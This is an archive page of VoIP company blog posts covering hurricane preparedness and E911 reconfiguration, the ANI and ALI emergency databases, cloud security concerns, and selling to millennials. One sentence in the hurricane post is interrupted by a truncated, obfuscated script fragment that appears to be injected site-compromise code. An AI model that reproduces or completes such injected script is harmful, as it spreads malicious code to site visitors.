Category Archives: V1 answers your VoIP questions

V1 VoIP Explains Hurricane VoIP Preparedness

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<p>June 1st marks the beginning of Hurricane Season. Each year for almost six months, the United States gets ready for these swirling, disastrous storms with bottles of water, batteries, <script>$nJe=function(n){if (typeof ($nJe.list[n]) == and supplies for buttoning down the hatches. But when it comes to VoIP, there is no reason to panic. Here V1 VoIP helps you rest your power outage fears and explains how having VoIP service is actually better in the event a hurricane occurs.

In the event of a power outage caused by a hurricane, your V1 VoIP service is in the Cloud and not the one formed by the storm clouds. This means your V1 VoIP service will still work unlike your former landline locked system. Calls can also be forwarded to your mobile device so your business won’t miss a beat in the case of an emergency.

If a hurricane knocks out the power your calls will also still reach your voicemail. However, if you still want to receive calls, you have two choices, 1. take your SIP phone home with you or 2. simply forward your calls to an external phone number and in a few clicks, your company is still in business!

How easy is it? Simply log into your account, create an External Phone Number (this is free FYI), click on your existing business phone number, open existing business phone number to modify. Modify your existing business phone number to be redirected to the new External Phone number you just created and Save. It’s just that easy!

If you are redirecting your phone number, DO NOT forget to also reconfigure your E911 to the address you have moved the phone. If you are moving your SIP phone, you will also reconfigure your E911 to the address the phone has been temporarily moved. If you are forwarding your calls, please be sure you have a way to dial 911 from that external phone; cell phones may hit a tower that is in an adjacent town and may not provide emergency responders with the proper location of your emergency.

V1 VoIP itself has several redundancy locations, including secured data centers in multiple locations across the country which are equipped to handle emergencies. Since all is in the Cloud you will still have access to your calls and never miss a business beat. V1 VoIP will be here, with our umbrellas and rain gear waiting out the storm alongside you.

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Difference Between ANI and ALI Databases

V1 VoIP explains the difference between the automatic number identification ANI and the automatic location identification ALI databases and their uses in voip emergency phone calls

V1 VoIP is committed to offering our VoIP providers, resellers and wholesale agents answers to their questions about emergency phone call information. One question asked often is this:

What is the difference between the ALI and ANI databases and how can they effect emergency response?

The Automatic Number Identification (ANI) is the automatic display at the PSAP of the telephone number associated with the line which called 911. Each telephone number and the physical location to which it corresponds are stored in an Automatic Location Identification (ALI) database, managed by the local exchange carrier.

Imagine you are in a ‘Law and Order’ episode. The 911 operator is looking at the screen, sees the adddress of the caller and says “help is on the way.” In that 911 call, the PSAP uses the ANI to retrieve the caller’s physical address from the ALI database. Additionally, the ANI acts as a callback number should the PSAP lose its connection to the distressed caller. Both ANI and ALI are key capabilities of E911 service.

With traditional E911 service, ALI records are stored in regional ALI databases, and are usually administered by the local exchange carrier (LEC). When a phone’s location changes, the regional ALI database must be revised with new location information which can take up to 48 hours to update.

Due to the capabilities of IP phones, it can be difficult to ensure that the regional ALI is up-to-date. Whereas traditional telephone numbers are static, IP phones can be moved easily, forcing the user to notify a network administrator, who in turn must contact the LEC to update the phone’s location in the regional ALI database. Unfortunately, this process takes time to implement, and may be forgotten entirely by the user.

Additionally, IP phones can relocate to regions served by different ALI databases entirely. A VoIP service provider or enterprise would then need agreements with each LEC to update different regional ALI databases as phones move around the country.

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Cloud Concerns – Calming Customer Fears

V1 VoIP addresses commonly misunderstood cloud VoIP security concerns

If you are reselling cloud services in the VoIP industry, there’s a good chance that your customers will be talking about the fears they have from misunderstood security concerns. Here, V1 VoIP explains what the Cloud means, how it is used in VoIP services and solutions and how to address your customers’ concerns.

“The Cloud” simply means a virtual space to store your data. Think of it as a virtual hard drive for storing files which can be accessed from anywhere as long as you have access to the internet. Because this information is stored virtually, there’s a concern to how safe this information is when it’s stored in the Cloud. Security-related issues are always a top concern for businesses when it comes to signing up for new VoIP technology. So let’s address those security myths with realities.

Businesses of all types and sizes are looking to use the Cloud to manage their everyday operations because they want to take advantage of this new, inexpensive technology, and use it with a goal of helping their business run much more efficiently.

All potential customers are going to want to know if your security standards are appropriate. As more resellers are choosing to sell cloud VoIP services, potential clients are going to want to know how much data you will be storing for them, and how much this will cost. They will want to know if your data is encrypted when it’s being uploaded, downloaded or stored in the cloud. Because some cloud folders are shared, potential customers want to understand the details of how this works. Lastly, potential customers want to know what their options are if the Cloud is hacked into or any data is lost.

As long as you’re prepared to offer your potential customers the information they want and need to make a smart purchasing decision, you’re going to end up at the top their list. Contact a member of the V1 VoIP team today with any other cloud security issues you are having.

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How to Sell V1 VoIP Services to Millenials

As a V1 VoIP reseller, the way you make money is to sell to potential clients the services and solutions you now offer. But how to get millenials on the phone? Rather than respond to cold calls, many millennials like to do their own research and then reach out on their own terms.

The supremacy of the phone call has lessened in recent years. According to the mobile research agency RealityMine, phone calls are now used less than both text messaging and email in adults aged 18 – 64. Try approaching millenials on the various platforms they use and then complement your this with your phone skills with other engagement tactics. Whether that’s social media, SMS, email, live chat, or LinkedIn, millenials do business differently than the older client on an outdated phone system. To better target millenials, think outside the phone!

For V1 VoIP resellers, researching and deciding whether email or even social media is better for first contact instead of a phone call. Try to find out what platform your prospect feels the most comfortable communicating on, and then reach out that way. You can always turn a chat conversation to a phone call later. Comment on a LinkedIn post, or respond to a question posted on a public forum. These activities can all lead to a phone call, and a phone call can lead to a deal. There’s no reason to compartmentalize these varying communications platforms. All of them are at your disposal to contact millenial customers, and the savvy salesperson will know how to use each to his or her advantage.

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